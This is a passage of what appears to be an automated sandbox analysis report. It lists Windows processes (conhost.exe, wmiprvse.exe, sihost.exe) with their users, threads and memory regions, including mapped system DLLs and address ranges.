= 0x4abba30000 end_va = 0x4abba6ffff entry_point = 0x0 region_type = private name = "private_0x0000004abba30000" filename = "" Region: id = 15636 start_va = 0x7df5ff400000 end_va = 0x7ff5ff3fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff400000" filename = "" Region: id = 15637 start_va = 0x7ff7078f0000 end_va = 0x7ff707912fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7078f0000" filename = "" Region: id = 15638 start_va = 0x7ff707914000 end_va = 0x7ff707914fff entry_point = 0x0 region_type = private name = "private_0x00007ff707914000" filename = "" Region: id = 15639 start_va = 0x7ff70791e000 end_va = 0x7ff70791ffff entry_point = 0x0 region_type = private name = "private_0x00007ff70791e000" filename = "" Region: id = 15640 start_va = 0x7ff707ed0000 end_va = 0x7ff707ee0fff entry_point = 0x7ff707ed0000 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 15641 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 15642 start_va = 0x4abb9f0000 end_va = 0x4abb9fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004abb9f0000" filename = "" Region: id = 15643 start_va = 0x4abba00000 end_va = 0x4abba06fff entry_point = 0x0 region_type = private name = "private_0x0000004abba00000" filename = "" Region: id = 15644 start_va = 0x4abba70000 end_va = 0x4abbb2dfff entry_point = 0x4abba70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 15645 start_va = 0x4abbb30000 end_va = 0x4abbb6ffff entry_point = 0x0 region_type = private name = "private_0x0000004abbb30000" filename = "" Region: id = 15646 start_va = 0x4abbb70000 end_va = 0x4abbb70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004abbb70000" filename = "" Region: id = 15647 start_va = 0x4abbb80000 end_va = 0x4abbb86fff entry_point = 0x0 region_type = private name = "private_0x0000004abbb80000" filename = "" Region: id = 15648 start_va = 0x4abbb90000 end_va = 0x4abbb90fff entry_point = 0x0 region_type = private name = "private_0x0000004abbb90000" filename = "" Region: id = 15649 start_va = 0x4abbba0000 end_va = 0x4abbba0fff entry_point = 0x0 region_type = private name = "private_0x0000004abbba0000" filename = "" Region: id = 15650 start_va = 0x4abbbf0000 end_va = 0x4abbceffff entry_point = 0x0 region_type = private name = "private_0x0000004abbbf0000" filename = "" Region: id = 15651 start_va = 0x4abbcf0000 end_va = 0x4abbe77fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004abbcf0000" filename = "" Region: id = 15652 start_va = 0x4abbea0000 end_va = 0x4abbeaffff entry_point = 0x0 region_type = private name = "private_0x0000004abbea0000" filename = "" Region: id = 15653 start_va = 0x4abbeb0000 end_va = 0x4abc030fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004abbeb0000" filename = "" Region: id = 15654 start_va = 0x4abc040000 end_va = 0x4abd43ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004abc040000" filename = "" Region: id = 15655 start_va = 0x7ff7077f0000 end_va = 0x7ff7078effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7077f0000" filename = "" Region: id = 15656 start_va = 0x7ff70791c000 end_va = 0x7ff70791dfff entry_point = 0x0 region_type = private name = "private_0x00007ff70791c000" filename = "" Region: id = 15657 start_va = 0x7ff9e7200000 end_va = 0x7ff9e7252fff entry_point = 0x7ff9e7200000 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 15658 start_va = 0x7ff9e7dd0000 end_va = 0x7ff9e7f52fff entry_point = 0x7ff9e7dd0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 15659 start_va = 0x7ff9ebc60000 end_va = 0x7ff9ebe3cfff entry_point = 0x7ff9ebc60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 15660 start_va = 0x7ff9ebe40000 end_va = 0x7ff9ebedcfff entry_point = 0x7ff9ebe40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 15661 start_va = 0x7ff9ebee0000 end_va = 0x7ff9ec02dfff entry_point = 0x7ff9ebee0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 15662 start_va = 0x7ff9ec1f0000 end_va = 0x7ff9ec46bfff entry_point = 0x7ff9ec1f0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 15663 start_va = 0x7ff9ec780000 end_va = 0x7ff9ec8dbfff entry_point = 0x7ff9ec780000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 15664 start_va = 0x7ff9ec8e0000 end_va = 0x7ff9eca20fff entry_point = 0x7ff9ec8e0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 15665 start_va = 0x7ff9eca30000 end_va = 0x7ff9ecaedfff entry_point = 0x7ff9eca30000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 15666 start_va = 0x7ff9ee0a0000 end_va = 0x7ff9ee1c5fff entry_point = 0x7ff9ee0a0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 15667 start_va = 0x7ff9ee1f0000 end_va = 0x7ff9ee24afff entry_point = 0x7ff9ee1f0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 15668 start_va = 0x7ff9ee250000 end_va = 0x7ff9ee2fcfff entry_point = 0x7ff9ee250000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 15669 start_va = 0x7ff9ee4d0000 end_va = 0x7ff9ee654fff entry_point = 0x7ff9ee4d0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 15670 start_va = 0x7ff9ee6d0000 end_va = 0x7ff9ee705fff entry_point = 0x7ff9ee6d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Thread: id = 288 os_tid = 0xb44 Thread: id = 290 os_tid = 0xb34 Thread: id = 291 os_tid = 0xb10 Thread: id = 292 os_tid = 0xb14 Process: id = "22" image_name = "wmiprvse.exe" filename = "c:\\windows\\syswow64\\wbem\\wmiprvse.exe" page_root = "0x2fbd4000" os_pid = "0xbb4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "11" os_parent_pid = "0x324" cmd_line = "C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:000d2fa3" [0xc000000f] Region: id = 15763 start_va = 0x2a0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 15764 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 15765 start_va = 0x2d0000 end_va = 0x2e3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 15766 start_va = 0x2f0000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 15767 start_va = 0x330000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 15768 start_va = 0x370000 end_va = 0x373fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 15769 start_va = 0x380000 end_va = 0x380fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 15770 start_va = 0x390000 end_va = 0x391fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 15771 start_va = 0xeb0000 end_va = 0xf18fff entry_point = 0xeb0000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\syswow64\\wbem\\wmiprvse.exe") Region: id = 15772 start_va = 0xf20000 end_va = 0x4f1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f20000" filename = "" Region: id = 15773 start_va = 0x77460000 end_va = 0x775d8fff entry_point = 0x77460000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 15774 start_va = 0x7eda0000 end_va = 0x7edc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eda0000" filename = "" Region: id = 15775 start_va = 0x7edc4000 end_va = 0x7edc4fff entry_point = 0x0 region_type = private name = "private_0x000000007edc4000" filename = "" Region: id = 15776 start_va = 0x7edcc000 end_va = 0x7edcefff entry_point = 0x0 region_type = private name = "private_0x000000007edcc000" filename = "" Region: id = 15777 start_va = 0x7edcf000 end_va = 0x7edcffff entry_point = 0x0 region_type = private name = "private_0x000000007edcf000" filename = "" Region: id = 15778 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 15779 start_va = 0x7fff0000 end_va = 0x7df9ee76ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 15780 start_va = 0x7df9ee770000 end_va = 0x7ff9ee76ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df9ee770000" filename = "" Region: id = 15781 start_va = 0x7ff9ee770000 end_va = 0x7ff9ee931fff entry_point = 0x7ff9ee770000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 15782 start_va = 0x7ff9ee932000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ff9ee932000" filename = "" Region: id = 15783 start_va = 0x4f0000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 15784 start_va = 0x73cd0000 end_va = 0x73d1efff entry_point = 0x73cd0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 15785 start_va = 0x73d30000 end_va = 0x73da2fff entry_point = 0x73d30000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 15786 start_va = 0x6b0000 end_va = 0x7affff entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 15787 start_va = 0x73d20000 end_va = 0x73d27fff entry_point = 0x73d20000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 15788 start_va = 0x745b0000 end_va = 0x74725fff entry_point = 0x745b0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 15789 start_va = 0x74780000 end_va = 0x7486ffff entry_point = 0x74780000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 15791 start_va = 0x2a0000 end_va = 0x2affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002a0000" filename = "" Region: id = 15792 start_va = 0x2b0000 end_va = 0x2b7fff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 15793 start_va = 0x3a0000 end_va = 0x45dfff entry_point = 0x3a0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 15794 start_va = 0x460000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 15795 start_va = 0x4a0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 15796 start_va = 0x670000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 15797 start_va = 0x72be0000 end_va = 0x72c9bfff entry_point = 0x72be0000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 15798 start_va = 0x72e30000 end_va = 0x72e95fff entry_point = 0x72e30000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 15799 start_va = 0x73dd0000 end_va = 0x73de1fff entry_point = 0x73dd0000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\SysWOW64\\ncobjapi.dll" (normalized: "c:\\windows\\syswow64\\ncobjapi.dll") Region: id = 15800 start_va = 0x73f10000 end_va = 0x73f2afff entry_point = 0x73f10000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 15801 start_va = 0x74500000 end_va = 0x74558fff entry_point = 0x74500000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 15802 start_va = 0x74560000 end_va = 0x74569fff entry_point = 0x74560000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 15803 start_va = 0x74570000 end_va = 0x7458dfff entry_point = 0x74570000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 15804 start_va = 0x74730000 end_va = 0x74772fff entry_point = 0x74730000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 15805 start_va = 0x749e0000 end_va = 0x74b99fff entry_point = 0x749e0000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 15806 start_va = 0x74ba0000 end_va = 0x74c4bfff entry_point = 0x74ba0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 15807 start_va = 0x74f40000 end_va = 0x74f46fff entry_point = 0x74f40000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 15808 start_va = 0x75500000 end_va = 0x7555bfff entry_point = 0x75500000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 15809 start_va = 0x773a0000 end_va = 0x7745dfff entry_point = 0x773a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 15810 start_va = 0x7eca0000 end_va = 0x7ed9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eca0000" filename = "" Region: id = 15811 start_va = 0x7edc9000 end_va = 0x7edcbfff entry_point = 0x0 region_type = private name = "private_0x000000007edc9000" filename = "" Region: id = 15812 start_va = 0x74c90000 end_va = 0x74d0afff entry_point = 0x74c90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 15813 start_va = 0x7b0000 end_va = 0xae6fff entry_point = 0x7b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 15814 start_va = 0x75660000 end_va = 0x757acfff entry_point = 0x75660000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 15815 start_va = 0x77050000 end_va = 0x7718ffff entry_point = 0x77050000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 15818 start_va = 0x2c0000 end_va = 0x2c0fff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 15819 start_va = 0x4e0000 end_va = 0x4e0fff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 15820 start_va = 0x500000 end_va = 0x5bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 15821 start_va = 0x5c0000 end_va = 0x5c4fff entry_point = 0x5c0000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\user32.dll.mui") Region: id = 15822 start_va = 0x5d0000 end_va = 0x5d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 15823 start_va = 0x5e0000 end_va = 0x61ffff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 15824 start_va = 0x620000 end_va = 0x65ffff entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 15825 start_va = 0x660000 end_va = 0x667fff entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 15826 start_va = 0x680000 end_va = 0x680fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 15827 start_va = 0x690000 end_va = 0x690fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000690000" filename = "" Region: id = 15828 start_va = 0xaf0000 end_va = 0xc77fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 15829 start_va = 0xc80000 end_va = 0xe00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c80000" filename = "" Region: id = 15830 start_va = 0xe10000 end_va = 0xe4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 15831 start_va = 0xe50000 end_va = 0xe8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 15832 start_va = 0x4f20000 end_va = 0x501ffff entry_point = 0x0 region_type = private name = "private_0x0000000004f20000" filename = "" Region: id = 15833 start_va = 0x5020000 end_va = 0x505ffff entry_point = 0x0 region_type = private name = "private_0x0000000005020000" filename = "" Region: id = 15834 start_va = 0x5060000 end_va = 0x509ffff entry_point = 0x0 region_type = private name = "private_0x0000000005060000" filename = "" Region: id = 15835 start_va = 0x50a0000 end_va = 0x50dffff entry_point = 0x0 region_type = private name = "private_0x00000000050a0000" filename = "" Region: id = 15836 start_va = 0x50e0000 end_va = 0x511ffff entry_point = 0x0 region_type = private name = "private_0x00000000050e0000" filename = "" Region: id = 15837 start_va = 0x5120000 end_va = 0x515ffff entry_point = 0x0 region_type = private name = "private_0x0000000005120000" filename = "" Region: id = 15838 start_va = 0x5160000 end_va = 0x519ffff entry_point = 0x0 region_type = private name = "private_0x0000000005160000" filename = "" Region: id = 15839 start_va = 0x51a0000 end_va = 0x51dffff entry_point = 0x0 region_type = private name = "private_0x00000000051a0000" filename = "" Region: id = 15840 start_va = 0x51e0000 end_va = 0x521ffff entry_point = 0x0 region_type = private name = "private_0x00000000051e0000" filename = "" Region: id = 15841 start_va = 0x5220000 end_va = 0x525ffff entry_point = 0x0 region_type = private name = "private_0x0000000005220000" filename = "" Region: id = 15842 start_va = 0x5260000 end_va = 0x529ffff entry_point = 0x0 region_type = private name = "private_0x0000000005260000" filename = "" Region: id = 15843 start_va = 0x73db0000 end_va = 0x73dcdfff entry_point = 0x73db0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\SysWOW64\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wmiutils.dll") Region: id = 15844 start_va = 0x73df0000 end_va = 0x73e00fff entry_point = 0x73df0000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 15845 start_va = 0x73ee0000 end_va = 0x73f0efff entry_point = 0x73ee0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 15846 start_va = 0x73f30000 end_va = 0x73f42fff entry_point = 0x73f30000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 15847 start_va = 0x74000000 end_va = 0x7400cfff entry_point = 0x74000000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 15848 start_va = 0x75150000 end_va = 0x751d1fff entry_point = 0x75150000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 15849 start_va = 0x75650000 end_va = 0x7565bfff entry_point = 0x75650000 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 15850 start_va = 0x77240000 end_va = 0x772d1fff entry_point = 0x77240000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 15851 start_va = 0x7ec8e000 end_va = 0x7ec90fff entry_point = 0x0 region_type = private name = "private_0x000000007ec8e000" filename = "" Region: id = 15852 start_va = 0x7ec91000 end_va = 0x7ec93fff entry_point = 0x0 region_type = private name = "private_0x000000007ec91000" filename = "" Region: id = 15853 start_va = 0x7ec94000 end_va = 0x7ec96fff entry_point = 0x0 region_type = private name = "private_0x000000007ec94000" filename = "" Region: id = 15854 start_va = 0x7ec97000 end_va = 0x7ec99fff entry_point = 0x0 region_type = private name = "private_0x000000007ec97000" filename = "" Region: id = 15855 start_va = 0x7ec9a000 end_va = 0x7ec9cfff entry_point = 0x0 region_type = private name = "private_0x000000007ec9a000" filename = "" Region: id = 15856 start_va = 0x7ec9d000 end_va = 0x7ec9ffff entry_point = 0x0 region_type = private name = "private_0x000000007ec9d000" filename = "" Region: id = 15857 start_va = 0x7edc6000 end_va = 0x7edc8fff entry_point = 0x0 region_type = private name = "private_0x000000007edc6000" filename = "" Region: id = 15860 start_va = 0x52a0000 end_va = 0x52dffff entry_point = 0x0 region_type = private name = "private_0x00000000052a0000" filename = "" Region: id = 15861 start_va = 0x52e0000 end_va = 0x531ffff entry_point = 0x0 region_type = private name = "private_0x00000000052e0000" filename = "" Region: id = 15862 start_va = 0x72990000 end_va = 0x729a0fff entry_point = 0x72990000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\SysWOW64\\vsstrace.dll" (normalized: "c:\\windows\\syswow64\\vsstrace.dll") Region: id = 15863 start_va = 0x729b0000 end_va = 0x72acafff entry_point = 0x729b0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\SysWOW64\\vssapi.dll" (normalized: "c:\\windows\\syswow64\\vssapi.dll") Region: id = 15864 start_va = 0x72ad0000 end_va = 0x72af0fff entry_point = 0x72ad0000 region_type = mapped_file name = "vsswmi.dll" filename = "\\Windows\\SysWOW64\\wbem\\vsswmi.dll" (normalized: "c:\\windows\\syswow64\\wbem\\vsswmi.dll") Region: id = 15865 start_va = 0x73e10000 end_va = 0x73e4efff entry_point = 0x73e10000 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 15866 start_va = 0x7ec8b000 end_va = 0x7ec8dfff entry_point = 0x0 region_type = private name = "private_0x000000007ec8b000" filename = "" Thread: id = 303 os_tid = 0x2e8 Thread: id = 304 os_tid = 0xb68 Thread: id = 305 os_tid = 0x270 Thread: id = 306 os_tid = 0xbfc Thread: id = 307 os_tid = 0x418 Thread: id = 308 os_tid = 0x408 Thread: id = 309 os_tid = 0xab4 Thread: id = 310 os_tid = 0x8f0 Thread: id = 311 os_tid = 0xa8c Thread: id = 312 os_tid = 0x9cc Process: id = "23" image_name = "sihost.exe" filename = "c:\\windows\\system32\\sihost.exe" page_root = "0x7348000" os_pid = "0x7c8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0xa5c" cmd_line = "sihost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001a1d9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 15880 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 15881 start_va = 0xfbf63f0000 end_va = 0xfbf63fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000fbf63f0000" filename = "" Region: id = 15882 start_va = 0xfbf6400000 end_va = 0xfbf6406fff entry_point = 0x0 region_type = private name = "private_0x000000fbf6400000" filename = "" Region: id = 15883 start_va = 0xfbf6410000 end_va = 0xfbf6423fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000fbf6410000" filename = "" Region: id = 15884 start_va = 0xfbf6430000 end_va = 0xfbf64affff entry_point = 0x0 region_type = private name = "private_0x000000fbf6430000" filename = "" Region: id = 15885 start_va = 0xfbf64b0000 end_va = 0xfbf64b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000fbf64b0000" filename = "" Region: id = 15886 start_va = 0xfbf64c0000 end_va = 0xfbf64c1fff entry_point = 0x0 region_type = private name = "private_0x000000fbf64c0000" filename = "" Region: id = 15887 start_va = 0xfbf64d0000 end_va = 0xfbf64d6fff entry_point = 0x0 region_type = private name = "private_0x000000fbf64d0000" filename = "" Region: id = 15888 start_va = 0xfbf64e0000 end_va = 0xfbf64e0fff entry_point = 0x0 region_type = private name = "private_0x000000fbf64e0000" filename = "" Region: id = 15889 start_va = 0xfbf64f0000 end_va = 0xfbf64f0fff entry_point = 0x0 region_type = private name = "private_0x000000fbf64f0000" filename = "" Region: id = 15890 start_va = 0xfbf6500000 end_va = 0xfbf6500fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000fbf6500000" filename = "" Region: id = 15891 start_va = 0xfbf6510000 end_va = 0xfbf6510fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000fbf6510000" filename = "" Region: id = 15892 start_va = 0xfbf6540000 end_va = 0xfbf663ffff entry_point = 0x0 region_type = private name = "private_0x000000fbf6540000" filename = "" Region: id = 15893 start_va = 0xfbf6640000 end_va = 0xfbf66fdfff entry_point = 0xfbf6640000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 15894 start_va = 0xfbf6700000 end_va = 0xfbf677ffff entry_point = 0x0 region_type = 